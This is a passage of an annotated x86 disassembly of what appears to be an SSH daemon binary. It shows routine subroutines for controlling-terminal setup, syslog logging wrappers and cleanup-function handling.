0804fa39  68 81 e6 06 08     push   $0x806e681  ;[in .rodata] 1986356271 'x2f x64 x65 x76' "/dev/tty"
0804fa3e  e8 b9 a8 ff ff     call   0804a2fc <open>
0804fa43  89 c3              mov    %eax,%ebx
0804fa45  83 c4 10           add    $0x10,%esp
0804fa48  85 db              test   %ebx,%ebx
0804fa4a  79 2c              jns    0804fa78 <Unknown0033+0x120>
```

```
0804fa4c  83 ec 10              sub     $0x10,%esp
0804fa4f  e8 e8 a3 ff ff        call    08049e3c <__errno_location>
0804fa54  5a                    pop     %edx
0804fa55  ff 30                 pushl   (%eax)
0804fa57  e8 90 a3 ff ff        call    08049dec <strerror>
0804fa5c  89 45 0c              mov     %eax,0xc(%ebp)
0804fa5f  c7 45 08 20 e7 06 08  movl    $0x806e720,0x8(%ebp)    ;[in .rodata] 1852141679 'x6f x70 x65 x6e'
                                                                "open /dev/tty failed - could not set
                                                                controlling tty: %.100s"
0804fa66  83 c4 10              add     $0x10,%esp
0804fa69  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0804fa6c  5b                    pop     %ebx
0804fa6d  5e                    pop     %esi
0804fa6e  5f                    pop     %edi
0804fa6f  5d                    pop     %ebp
0804fa70  e9 93 03 00 00        jmp     0804fe08 <Unknown0040>   ;915 'x93 x3 x0 x0' ""
0804fa75  8d 76 00              lea     0x0(%esi),%esi
0804fa78  83 ec 0c              sub     $0xc,%esp
0804fa7b  53                    push    %ebx
0804fa7c  e8 5b a2 ff ff        call    08049cdc <close>
0804fa81  5b                    pop     %ebx
0804fa82  58                    pop     %eax
0804fa83  6a 01                 push    $0x1
0804fa85  6a 01                 push    $0x1
0804fa87  e8 b0 a2 ff ff        call    08049d3c <signal>
0804fa8c  e8 ab a4 ff ff        call    08049f3c <vhangup>
0804fa91  5a                    pop     %edx
0804fa92  59                    pop     %ecx
0804fa93  6a 00                 push    $0x0
0804fa95  6a 01                 push    $0x1
0804fa97  e8 a0 a2 ff ff        call    08049d3c <signal>
0804fa9c  5b                    pop     %ebx
0804fa9d  58                    pop     %eax
0804fa9e  6a 02                 push    $0x2
0804faa0  56                    push    %esi
0804faa1  e8 56 a8 ff ff        call    0804a2fc <open>
0804faa6  89 c3                 mov     %eax,%ebx
0804faa8  83 c4 10              add     $0x10,%esp
0804faab  83 fb ff              cmp     $0xffffffff,%ebx
0804faae  75 11                 jne     0804fac1 <Unknown0033+0x169>
0804fab0  83 ec 08              sub     $0x8,%esp
0804fab3  56                    push    %esi
0804fab4  68 60 e7 06 08        push    $0x806e760   ;[in .rodata] 1601795184 'x70 x74 x79 x5f'
                                                     "pty_make_controlling_tty: reopening controlling tty
                                                     after vhangup failed for %.100s"
0804fab9  e8 4a 03 00 00        call    0804fe08 <Unknown0040>
0804fabe  83 c4 10              add     $0x10,%esp
0804fac1  83 ec 0c              sub     $0xc,%esp
0804fac4  ff 37                 pushl   (%edi)
0804fac6  e8 11 a2 ff ff        call    08049cdc <close>
0804facb  83 c4 10              add     $0x10,%esp
0804face  89 1f                 mov     %ebx,(%edi)
0804fad0  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0804fad3  5b                    pop     %ebx
0804fad4  5e                    pop     %esi
0804fad5  5f                    pop     %edi
0804fad6  5d                    pop     %ebp
0804fad7  c3                    ret

  ;
  ; >---------------------<  Subroutine #  34 >---------------------<
  ;
0804fad8 <Unknown0034>:
0804fad8  55                    push    %ebp
0804fad9  89 e5                 mov     %esp,%ebp
0804fadb  56                    push    %esi
0804fadc  53                    push    %ebx
0804fadd  83 ec 14              sub     $0x14,%esp
0804fae0  8b 45 0c              mov     0xc(%ebp),%eax
0804fae3  66 89 45 f0           mov     %ax,0xfffffff0(%ebp)
0804fae7  8d 45 f0              lea     0xfffffff0(%ebp),%eax
0804faea  50                    push    %eax
0804faeb  8b 75 08              mov     0x8(%ebp),%esi
0804faee  8b 5d 18              mov     0x18(%ebp),%ebx
0804faf1  8b 55 10              mov     0x10(%ebp),%edx
0804faf4  8b 4d 14              mov     0x14(%ebp),%ecx
0804faf7  68 14 54 00 00        push    $0x5414   ;21524 'x14 x54 x0 x0' ""
0804fafc  66 89 5d f6           mov     %bx,0xfffffff6(%ebp)
0804fb00  56                    push    %esi
0804fb01  66 89 55 f2           mov     %dx,0xfffffff2(%ebp)
0804fb05  66 89 4d f4           mov     %cx,0xfffffff4(%ebp)
0804fb09  e8 8e a8 ff ff        call    0804a39c <ioctl>
0804fb0e  8d 65 f8              lea     0xfffffff8(%ebp),%esp
```

```
0804fb11  5b                          pop     %ebx
0804fb12  5e                          pop     %esi
0804fb13  5d                          pop     %ebp
0804fb14  c3                          ret
0804fb15  8d 76 00                    lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine #  35 >--------------------<
  ;
0804fb18 <Unknown0035>:
0804fb18  55                          push    %ebp
0804fb19  89 e5                       mov     %esp,%ebp
0804fb1b  56                          push    %esi
0804fb1c  53                          push    %ebx
0804fb1d  8b 45 18                    mov     0x18(%ebp),%eax
0804fb20  83 f8 0a                    cmp     $0xa,%eax
0804fb23  8b 75 08                    mov     0x8(%ebp),%esi
0804fb26  8b 5d 0c                    mov     0xc(%ebp),%ebx
0804fb29  8b 55 10                    mov     0x10(%ebp),%edx
0804fb2c  8b 4d 14                    mov     0x14(%ebp),%ecx
0804fb2f  0f 87 97 00 00 00           ja      0804fbcc <Unknown0035+0xb4>  ;151 'x97 x0 x0 x0' ""
0804fb35  ff 24 85 10 e8 06 08        jmp     *0x806e810(,%eax,4)  ;[in .rodata] 134544188 'x3c xfb x4 x8' "<"
0804fb3c  c7 05 00 7c 07 08 18 00 00 00  movl  $0x18,0x8077c00  ;24 'x18 x0 x0 x0' ""
0804fb46  e9 a1 00 00 00              jmp     0804fbec <Unknown0035+0xd4>  ;161 'xa1 x0 x0 x0' ""
0804fb4b  90                          nop
0804fb4c  c7 05 00 7c 07 08 08 00 00 00  movl  $0x8,0x8077c00   ;8 'x8 x0 x0 x0' ""
0804fb56  e9 91 00 00 00              jmp     0804fbec <Unknown0035+0xd4>  ;145 'x91 x0 x0 x0' ""
0804fb5b  90                          nop
0804fb5c  c7 05 00 7c 07 08 20 00 00 00  movl  $0x20,0x8077c00  ;32 'x20 x0 x0 x0' " "
0804fb66  e9 81 00 00 00              jmp     0804fbec <Unknown0035+0xd4>  ;129 'x81 x0 x0 x0' ""
0804fb6b  90                          nop
0804fb6c  c7 05 00 7c 07 08 80 00 00 00  movl  $0x80,0x8077c00  ;128 'x80 x0 x0 x0' ""
0804fb76  eb 74                       jmp     0804fbec <Unknown0035+0xd4>
0804fb78  c7 05 00 7c 07 08 88 00 00 00  movl  $0x88,0x8077c00  ;136 'x88 x0 x0 x0' ""
0804fb82  eb 68                       jmp     0804fbec <Unknown0035+0xd4>
0804fb84  c7 05 00 7c 07 08 90 00 00 00  movl  $0x90,0x8077c00  ;144 'x90 x0 x0 x0' ""
0804fb8e  eb 5c                       jmp     0804fbec <Unknown0035+0xd4>
0804fb90  c7 05 00 7c 07 08 98 00 00 00  movl  $0x98,0x8077c00  ;152 'x98 x0 x0 x0' ""
0804fb9a  eb 50                       jmp     0804fbec <Unknown0035+0xd4>
0804fb9c  c7 05 00 7c 07 08 a0 00 00 00  movl  $0xa0,0x8077c00  ;160 'xa0 x0 x0 x0' ""
0804fba6  eb 44                       jmp     0804fbec <Unknown0035+0xd4>
0804fba8  c7 05 00 7c 07 08 a8 00 00 00  movl  $0xa8,0x8077c00  ;168 'xa8 x0 x0 x0' ""
0804fbb2  eb 38                       jmp     0804fbec <Unknown0035+0xd4>
0804fbb4  c7 05 00 7c 07 08 b0 00 00 00  movl  $0xb0,0x8077c00  ;176 'xb0 x0 x0 x0' ""
0804fbbe  eb 2c                       jmp     0804fbec <Unknown0035+0xd4>
0804fbc0  c7 05 00 7c 07 08 b8 00 00 00  movl  $0xb8,0x8077c00  ;184 'xb8 x0 x0 x0' ""
0804fbca  eb 20                       jmp     0804fbec <Unknown0035+0xd4>
0804fbcc  52                          push    %edx
0804fbcd  50                          push    %eax
0804fbce  68 e0 e7 06 08              push    $0x806e7e0  ;[in .rodata] 1701998165 'x55 x6e x72 x65'
                                                         "Unrecognized internal syslog facility code %d"
0804fbd3  ff 35 0c 9c 07 08           pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                         (Red Hat Linux 7.1 2.96-79)"
0804fbd9  e8 1e a1 ff ff              call    08049cfc <fprintf>
0804fbde  c7 04 24 01 00 00 00        movl    $0x1,(%esp,1)  ;1 'x1 x0 x0 x0' ""
0804fbe5  e8 62 a7 ff ff              call    0804a34c <exit>
0804fbea  89 f6                       mov     %esi,%esi
0804fbec  83 ec 0c                    sub     $0xc,%esp
0804fbef  89 1d fc 7b 07 08           mov     %ebx,0x8077bfc  ;[in .data] 0 'x0 x0 x0 x0' ""
0804fbf5  89 15 f4 7b 07 08           mov     %edx,0x8077bf4  ;[in .data] 0 'x0 x0 x0 x0' ""
0804fbfb  89 0d f8 7b 07 08           mov     %ecx,0x8077bf8  ;[in .data] 0 'x0 x0 x0 x0' ""
0804fc01  56                          push    %esi
0804fc02  e8 31 73 00 00              call    08056f38 <Unknown0173>
0804fc07  a3 04 7c 07 08              mov     %eax,0x8077c04  ;[in .data] 134670272 'xc0 xe7 x6 x8' ""
0804fc0c  83 c4 10                    add     $0x10,%esp
0804fc0f  8d 65 f8                    lea     0xfffffff8(%ebp),%esp
0804fc12  5b                          pop     %ebx
0804fc13  5e                          pop     %esi
0804fc14  5d                          pop     %ebp
0804fc15  e9 c2 a5 ff ff              jmp     0804a1dc <closelog>  ;-23102 'xc2 xa5 xff xff' ""
0804fc1a  89 f6                       mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine #  36 >--------------------<
  ;
0804fc1c <Unknown0036>:
0804fc1c  55                          push    %ebp
0804fc1d  89 e5                       mov     %esp,%ebp
0804fc1f  8b 0d f8 7b 07 08           mov     0x8077bf8,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804fc25  53                          push    %ebx
0804fc26  81 ec 04 04 00 00           sub     $0x404,%esp  ;1028 'x4 x4 x0 x0' ""
0804fc2c  85 c9                       test    %ecx,%ecx
```

```
0804fc2e   75 63                     jne     0804fc93 <Unknown0036+0x77>
0804fc30   8d 45 0c                  lea     0xc(%ebp),%eax
0804fc33   50                        push    %eax
0804fc34   ff 75 08                  pushl   0x8(%ebp)
0804fc37   68 00 04 00 00            push    $0x400   ;1024 'x0 x4 x0 x0' ""
0804fc3c   8d 9d f8 fb ff ff         lea     0xfffffbf8(%ebp),%ebx   ;-1032 'xf8 xfb xff xff' ""
0804fc42   53                        push    %ebx
0804fc43   e8 94 a1 ff ff            call    08049ddc <vsnprintf>
0804fc48   8b 15 fc 7b 07 08         mov     0x8077bfc,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804fc4e   83 c4 10                  add     $0x10,%esp
0804fc51   85 d2                     test    %edx,%edx
0804fc53   74 15                     je      0804fc6a <Unknown0036+0x4e>
0804fc55   50                        push    %eax
0804fc56   53                        push    %ebx
0804fc57   68 3c e8 06 08            push    $0x806e83c   ;[in .rodata] 979857260 'x6c x6f x67 x3a' "log: %s"
0804fc5c   ff 35 0c 9c 07 08         pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                           (Red Hat Linux 7.1 2.96-79)"
0804fc62   e8 95 a0 ff ff            call    08049cfc <fprintf>
0804fc67   83 c4 10                  add     $0x10,%esp
0804fc6a   51                        push    %ecx
0804fc6b   ff 35 00 7c 07 08         pushl   0x8077c00   ;[in .data] 8 'x8 x0 x0 x0' ""
0804fc71   6a 01                     push    $0x1
0804fc73   ff 35 04 7c 07 08         pushl   0x8077c04   ;[in .data] 134670272 'xc0 xe7 x6 x8' ""
0804fc79   e8 ae a4 ff ff            call    0804a12c <openlog>
0804fc7e   83 c4 0c                  add     $0xc,%esp
0804fc81   53                        push    %ebx
0804fc82   68 45 e8 06 08            push    $0x806e845   ;[in .rodata] 979857260 'x6c x6f x67 x3a' "log: %.500s"
0804fc87   6a 06                     push    $0x6
0804fc89   e8 3e a3 ff ff            call    08049fcc <syslog>
0804fc8e   e8 49 a5 ff ff            call    0804a1dc <closelog>
0804fc93   8b 5d fc                  mov     0xfffffffc(%ebp),%ebx
0804fc96   c9                        leave
0804fc97   c3                        ret


  ;
  ; >---------------------<  Subroutine #  37 >---------------------<
  ;
0804fc98 <Unknown0037>:
0804fc98   55                        push    %ebp
0804fc99   89 e5                     mov     %esp,%ebp
0804fc9b   83 ec 08                  sub     $0x8,%esp
0804fc9e   8b 45 08                  mov     0x8(%ebp),%eax
0804fca1   83 f8 05                  cmp     $0x5,%eax
0804fca4   77 3a                     ja      0804fce0 <Unknown0037+0x48>
0804fca6   ff 24 85 90 e8 06 08      jmp     *0x806e890(,%eax,4)   ;[in .rodata] 134544560 'xb0 xfc x4 x8' ""
0804fcad   8d 76 00                  lea     0x0(%esi),%esi
0804fcb0   b8 07 00 00 00            mov     $0x7,%eax   ;7 'x7 x0 x0 x0' ""
0804fcb5   eb 3c                     jmp     0804fcf3 <Unknown0037+0x5b>
0804fcb7   90                        nop
0804fcb8   b8 06 00 00 00            mov     $0x6,%eax   ;6 'x6 x0 x0 x0' ""
0804fcbd   eb 34                     jmp     0804fcf3 <Unknown0037+0x5b>
0804fcbf   90                        nop
0804fcc0   b8 05 00 00 00            mov     $0x5,%eax   ;5 'x5 x0 x0 x0' ""
0804fcc5   eb 2c                     jmp     0804fcf3 <Unknown0037+0x5b>
0804fcc7   90                        nop
0804fcc8   b8 04 00 00 00            mov     $0x4,%eax   ;4 'x4 x0 x0 x0' ""
0804fccd   eb 24                     jmp     0804fcf3 <Unknown0037+0x5b>
0804fccf   90                        nop
0804fcd0   b8 03 00 00 00            mov     $0x3,%eax   ;3 'x3 x0 x0 x0' ""
0804fcd5   eb 1c                     jmp     0804fcf3 <Unknown0037+0x5b>
0804fcd7   90                        nop
0804fcd8   b8 02 00 00 00            mov     $0x2,%eax   ;2 'x2 x0 x0 x0' ""
0804fcdd   eb 14                     jmp     0804fcf3 <Unknown0037+0x5b>
0804fcdf   90                        nop
0804fce0   83 ec 08                  sub     $0x8,%esp
0804fce3   50                        push    %eax
0804fce4   68 60 e8 06 08            push    $0x806e860   ;[in .rodata] 1819507059 'x73 x79 x73 x6c'
                                                           "syslog_severity: bad severity %d"
0804fce9   e8 6e 02 00 00            call    0804ff5c <Unknown0044>
0804fcee   83 c4 10                  add     $0x10,%esp
0804fcf1   31 c0                     xor     %eax,%eax
0804fcf3   c9                        leave
0804fcf4   c3                        ret
0804fcf5   8d 76 00                  lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine #  38 >---------------------<
  ;
0804fcf8 <Unknown0038>:
0804fcf8   55                        push    %ebp
0804fcf9   89 e5                     mov     %esp,%ebp
0804fcfb   53                        push    %ebx
```

```
0804fcfc  8b 1d f8 7b 07 08    mov     0x8077bf8,%ebx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804fd02  81 ec 04 04 00 00    sub     $0x404,%esp  ;1028 'x4 x4 x0 x0' ""
0804fd08  85 db                test    %ebx,%ebx
0804fd0a  75 6c                jne     0804fd78 <Unknown0038+0x80>
0804fd0c  8d 45 10             lea     0x10(%ebp),%eax
0804fd0f  50                   push    %eax
0804fd10  ff 75 0c             pushl   0xc(%ebp)
0804fd13  68 00 04 00 00       push    $0x400  ;1024 'x0 x4 x0 x0' ""
0804fd18  8d 9d f8 fb ff ff    lea     0xfffffbf8(%ebp),%ebx  ;-1032 'xf8 xfb xff xff' ""
0804fd1e  53                   push    %ebx
0804fd1f  e8 b8 a0 ff ff       call    08049ddc <vsnprintf>
0804fd24  8b 0d fc 7b 07 08    mov     0x8077bfc,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804fd2a  83 c4 10             add     $0x10,%esp
0804fd2d  85 c9                test    %ecx,%ecx
0804fd2f  74 15                je      0804fd46 <Unknown0038+0x4e>
0804fd31  52                   push    %edx
0804fd32  53                   push    %ebx
0804fd33  68 3c e8 06 08       push    $0x806e83c  ;[in .rodata] 979857260 'x6c x6f x67 x3a' "log: %s"
0804fd38  ff 35 0c 9c 07 08    pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                    (Red Hat Linux 7.1 2.96-79)"
0804fd3e  e8 b9 9f ff ff       call    08049cfc <fprintf>
0804fd43  83 c4 10             add     $0x10,%esp
0804fd46  50                   push    %eax
0804fd47  ff 35 00 7c 07 08    pushl   0x8077c00  ;[in .data] 8 'x8 x0 x0 x0' ""
0804fd4d  6a 01                push    $0x1
0804fd4f  ff 35 04 7c 07 08    pushl   0x8077c04  ;[in .data] 134670272 'xc0 xe7 x6 x8' ""
0804fd55  e8 d2 a3 ff ff       call    0804a12c <openlog>
0804fd5a  83 c4 0c             add     $0xc,%esp
0804fd5d  53                   push    %ebx
0804fd5e  68 45 e8 06 08       push    $0x806e845  ;[in .rodata] 979857260 'x6c x6f x67 x3a' "log: %.500s"
0804fd63  ff 75 08             pushl   0x8(%ebp)
0804fd66  e8 2d ff ff ff       call    0804fc98 <Unknown0037>
0804fd6b  89 04 24             mov     %eax,(%esp,1)
0804fd6e  e8 59 a2 ff ff       call    08049fcc <syslog>
0804fd73  e8 64 a4 ff ff       call    0804a1dc <closelog>
0804fd78  8b 5d fc             mov     0xfffffffc(%ebp),%ebx
0804fd7b  c9                   leave
0804fd7c  c3                   ret
0804fd7d  8d 76 00             lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine #  39 >---------------------<
  ;
0804fd80 <Unknown0039>:
0804fd80  55                   push    %ebp
0804fd81  89 e5                mov     %esp,%ebp
0804fd83  a1 f4 7b 07 08       mov     0x8077bf4,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0804fd88  53                   push    %ebx
0804fd89  81 ec 04 04 00 00    sub     $0x404,%esp  ;1028 'x4 x4 x0 x0' ""
0804fd8f  85 c0                test    %eax,%eax
0804fd91  74 6d                je      0804fe00 <Unknown0039+0x80>
0804fd93  8b 1d f8 7b 07 08    mov     0x8077bf8,%ebx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804fd99  85 db                test    %ebx,%ebx
0804fd9b  75 63                jne     0804fe00 <Unknown0039+0x80>
0804fd9d  8d 45 0c             lea     0xc(%ebp),%eax
0804fda0  50                   push    %eax
0804fda1  ff 75 08             pushl   0x8(%ebp)
0804fda4  68 00 04 00 00       push    $0x400  ;1024 'x0 x4 x0 x0' ""
0804fda9  8d 9d f8 fb ff ff    lea     0xfffffbf8(%ebp),%ebx  ;-1032 'xf8 xfb xff xff' ""
0804fdaf  53                   push    %ebx
0804fdb0  e8 27 a0 ff ff       call    08049ddc <vsnprintf>
0804fdb5  8b 0d fc 7b 07 08    mov     0x8077bfc,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804fdbb  83 c4 10             add     $0x10,%esp
0804fdbe  85 c9                test    %ecx,%ecx
0804fdc0  74 15                je      0804fdd7 <Unknown0039+0x57>
0804fdc2  52                   push    %edx
0804fdc3  53                   push    %ebx
0804fdc4  68 a8 e8 06 08       push    $0x806e8a8  ;[in .rodata] 1969382756 'x64 x65 x62 x75' "debug: %s"
0804fdc9  ff 35 0c 9c 07 08    pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                    (Red Hat Linux 7.1 2.96-79)"
0804fdcf  e8 28 9f ff ff       call    08049cfc <fprintf>
0804fdd4  83 c4 10             add     $0x10,%esp
0804fdd7  50                   push    %eax
0804fdd8  ff 35 00 7c 07 08    pushl   0x8077c00  ;[in .data] 8 'x8 x0 x0 x0' ""
0804fdde  6a 01                push    $0x1
0804fde0  ff 35 04 7c 07 08    pushl   0x8077c04  ;[in .data] 134670272 'xc0 xe7 x6 x8' ""
0804fde6  e8 41 a3 ff ff       call    0804a12c <openlog>
0804fdeb  83 c4 0c             add     $0xc,%esp
0804fdee  53                   push    %ebx
0804fdef  68 b3 e8 06 08       push    $0x806e8b3  ;[in .rodata] 1969382756 'x64 x65 x62 x75' "debug:
                                                    %.500s"
0804fdf4  6a 07                push    $0x7
0804fdf6  e8 d1 a1 ff ff       call    08049fcc <syslog>
```

```
0804fdfb  e8 dc a3 ff ff          call   0804a1dc <closelog>
0804fe00  8b 5d fc                mov    0xfffffffc(%ebp),%ebx
0804fe03  c9                      leave
0804fe04  c3                      ret
0804fe05  8d 76 00                lea    0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine #  40 >--------------------<
  ;
0804fe08 <Unknown0040>:
0804fe08  55                      push   %ebp
0804fe09  89 e5                   mov    %esp,%ebp
0804fe0b  8b 15 f8 7b 07 08       mov    0x8077bf8,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804fe11  53                      push   %ebx
0804fe12  81 ec 04 04 00 00       sub    $0x404,%esp  ;1028 'x4 x4 x0 x0' ""
0804fe18  85 d2                   test   %edx,%edx
0804fe1a  75 62                   jne    0804fe7e <Unknown0040+0x76>
0804fe1c  8d 45 0c                lea    0xc(%ebp),%eax
0804fe1f  50                      push   %eax
0804fe20  ff 75 08                pushl  0x8(%ebp)
0804fe23  68 00 04 00 00          push   $0x400   ;1024 'x0 x4 x0 x0' ""
0804fe28  8d 9d f8 fb ff ff       lea    0xfffffbf8(%ebp),%ebx  ;-1032 'xf8 xfb xff xff' ""
0804fe2e  53                      push   %ebx
0804fe2f  e8 a8 9f ff ff          call   08049ddc <vsnprintf>
0804fe34  a1 fc 7b 07 08          mov    0x8077bfc,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0804fe39  83 c4 10                add    $0x10,%esp
0804fe3c  85 c0                   test   %eax,%eax
0804fe3e  74 15                   je     0804fe55 <Unknown0040+0x4d>
0804fe40  51                      push   %ecx
0804fe41  53                      push   %ebx
0804fe42  68 c1 e8 06 08          push   $0x806e8c1   ;[in .rodata] 1869771365 'x65 x72 x72 x6f' "error: %s"
0804fe47  ff 35 0c 9c 07 08       pushl  0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                       (Red Hat Linux 7.1 2.96-79)"
0804fe4d  e8 aa 9e ff ff          call   08049cfc <fprintf>
0804fe52  83 c4 10                add    $0x10,%esp
0804fe55  52                      push   %edx
0804fe56  ff 35 00 7c 07 08       pushl  0x8077c00   ;[in .data] 8 'x8 x0 x0 x0' ""
0804fe5c  6a 01                   push   $0x1
0804fe5e  ff 35 04 7c 07 08       pushl  0x8077c04   ;[in .data] 134670272 'xc0 xe7 x6 x8' ""
0804fe64  e8 c3 a2 ff ff          call   0804a12c <openlog>
0804fe69  83 c4 0c                add    $0xc,%esp
0804fe6c  53                      push   %ebx
0804fe6d  68 cc e8 06 08          push   $0x806e8cc   ;[in .rodata] 1869771365 'x65 x72 x72 x6f' "error:
                                                       %.500s"
0804fe72  6a 03                   push   $0x3
0804fe74  e8 53 a1 ff ff          call   08049fcc <syslog>
0804fe79  e8 5e a3 ff ff          call   0804a1dc <closelog>
0804fe7e  8b 5d fc                mov    0xfffffffc(%ebp),%ebx
0804fe81  c9                      leave
0804fe82  c3                      ret
0804fe83  90                      nop


  ;
  ; >--------------------< Subroutine #  41 >--------------------<
  ;
0804fe84 <Unknown0041>:
0804fe84  55                      push   %ebp
0804fe85  89 e5                   mov    %esp,%ebp
0804fe87  56                      push   %esi
0804fe88  53                      push   %ebx
0804fe89  83 ec 0c                sub    $0xc,%esp
0804fe8c  8b 5d 08                mov    0x8(%ebp),%ebx
0804fe8f  8b 75 0c                mov    0xc(%ebp),%esi
0804fe92  6a 0c                   push   $0xc
0804fe94  e8 f7 6f 00 00          call   08056e90 <Unknown0170>
0804fe99  8b 15 08 7c 07 08       mov    0x8077c08,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804fe9f  89 10                   mov    %edx,(%eax)
0804fea1  89 58 04                mov    %ebx,0x4(%eax)
0804fea4  89 70 08                mov    %esi,0x8(%eax)
0804fea7  8d 65 f8                lea    0xfffffff8(%ebp),%esp
0804feaa  5b                      pop    %ebx
0804feab  5e                      pop    %esi
0804feac  a3 08 7c 07 08          mov    %eax,0x8077c08   ;[in .data] 0 'x0 x0 x0 x0' ""
0804feb1  5d                      pop    %ebp
0804feb2  c3                      ret
0804feb3  90                      nop


  ;
  ; >--------------------< Subroutine #  42 >--------------------<
  ;
0804feb4 <Unknown0042>:
```

```
0804feb4  55                        push    %ebp
0804feb5  a1 08 7c 07 08            mov     0x8077c08,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0804feba  89 e5                     mov     %esp,%ebp
0804febc  85 c0                     test    %eax,%eax
0804febe  56                        push    %esi
0804febf  53                        push    %ebx
0804fec0  8b 75 08                  mov     0x8(%ebp),%esi
0804fec3  8b 5d 0c                  mov     0xc(%ebp),%ebx
0804fec6  b9 08 7c 07 08            mov     $0x8077c08,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804fecb  74 29                     je      0804fef6 <Unknown0042+0x42>
0804fecd  89 c2                     mov     %eax,%edx
0804fecf  90                        nop
0804fed0  39 72 04                  cmp     %esi,0x4(%edx)
0804fed3  75 17                     jne     0804feec <Unknown0042+0x38>
0804fed5  39 5a 08                  cmp     %ebx,0x8(%edx)
0804fed8  75 12                     jne     0804feec <Unknown0042+0x38>
0804feda  8b 02                     mov     (%edx),%eax
0804fedc  89 01                     mov     %eax,(%ecx)
0804fede  83 ec 0c                  sub     $0xc,%esp
0804fee1  52                        push    %edx
0804fee2  e8 29 70 00 00            call    08056f10 <Unknown0172>
0804fee7  eb 1a                     jmp     0804ff03 <Unknown0042+0x4f>
0804fee9  8d 76 00                  lea     0x0(%esi),%esi
0804feec  89 d1                     mov     %edx,%ecx
0804feee  8b 01                     mov     (%ecx),%eax
0804fef0  89 c2                     mov     %eax,%edx
0804fef2  85 d2                     test    %edx,%edx
0804fef4  75 da                     jne     0804fed0 <Unknown0042+0x1c>
0804fef6  51                        push    %ecx
0804fef7  53                        push    %ebx
0804fef8  56                        push    %esi
0804fef9  68 e0 e8 06 08            push    $0x806e8e0  ;[in .rodata] 1635017062 'x66 x61 x74 x61'
                                                        "fatal_remove_cleanup: no such cleanup function: 0x%lx
                                                        0x%lx"
0804fefe  e8 59 00 00 00            call    0804ff5c <Unknown0044>
0804ff03  8d 65 f8                  lea     0xfffffff8(%ebp),%esp
0804ff06  5b                        pop     %ebx
0804ff07  5e                        pop     %esi
0804ff08  5d                        pop     %ebp
0804ff09  c3                        ret
0804ff0a  89 f6                     mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine #  43 >--------------------<
  ;
0804ff0c <Unknown0043>:
0804ff0c  55                        push    %ebp
0804ff0d  8b 0d 0c 7c 07 08         mov     0x8077c0c,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804ff13  89 e5                     mov     %esp,%ebp
0804ff15  85 c9                     test    %ecx,%ecx
0804ff17  56                        push    %esi
0804ff18  53                        push    %ebx
0804ff19  75 38                     jne     0804ff53 <Unknown0043+0x47>
0804ff1b  8b 35 08 7c 07 08         mov     0x8077c08,%esi   ;[in .data] 0 'x0 x0 x0 x0' ""
0804ff21  85 f6                     test    %esi,%esi
0804ff23  c7 05 0c 7c 07 08 01 00 00 00  movl  $0x1,0x8077c0c  ;1 'x1 x0 x0 x0' ""
0804ff2d  74 24                     je      0804ff53 <Unknown0043+0x47>
0804ff2f  90                        nop
0804ff30  8b 1e                     mov     (%esi),%ebx
0804ff32  52                        push    %edx
0804ff33  ff 76 08                  pushl   0x8(%esi)
0804ff36  ff 76 04                  pushl   0x4(%esi)
0804ff39  68 1d e9 06 08            push    $0x806e91d  ;[in .rodata] 1819042115 'x43 x61 x6c x6c' "Calling
                                                        cleanup 0x%lx(0x%lx)"
0804ff3e  e8 3d fe ff ff            call    0804fd80 <Unknown0039>
0804ff43  58                        pop     %eax
0804ff44  ff 76 08                  pushl   0x8(%esi)
0804ff47  ff 56 04                  call    *0x4(%esi)
0804ff4a  89 de                     mov     %ebx,%esi
0804ff4c  83 c4 10                  add     $0x10,%esp
0804ff4f  85 f6                     test    %esi,%esi
0804ff51  75 dd                     jne     0804ff30 <Unknown0043+0x24>
0804ff53  8d 65 f8                  lea     0xfffffff8(%ebp),%esp
0804ff56  5b                        pop     %ebx
0804ff57  5e                        pop     %esi
0804ff58  5d                        pop     %ebp
0804ff59  c3                        ret
0804ff5a  89 f6                     mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine #  44 >--------------------<
  ;
```

```
0804ff5c <Unknown0044>:
0804ff5c   55                        push    %ebp
0804ff5d   89 e5                     mov     %esp,%ebp
0804ff5f   53                        push    %ebx
0804ff60   8b 1d f8 7b 07 08         mov     0x8077bf8,%ebx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804ff66   81 ec 04 04 00 00         sub     $0x404,%esp   ;1028 'x4 x4 x0 x0' ""
0804ff6c   85 db                     test    %ebx,%ebx
0804ff6e   74 0c                     je      0804ff7c <Unknown0044+0x20>
0804ff70   83 ec 0c                  sub     $0xc,%esp
0804ff73   6a 01                     push    $0x1
0804ff75   e8 d2 a3 ff ff            call    0804a34c <exit>
0804ff7a   89 f6                     mov     %esi,%esi
0804ff7c   8d 45 0c                  lea     0xc(%ebp),%eax
0804ff7f   50                        push    %eax
0804ff80   ff 75 08                  pushl   0x8(%ebp)
0804ff83   68 00 04 00 00            push    $0x400   ;1024 'x0 x4 x0 x0' ""
0804ff88   8d 9d f8 fb ff ff         lea     0xfffffbf8(%ebp),%ebx   ;-1032 'xf8 xfb xff xff' ""
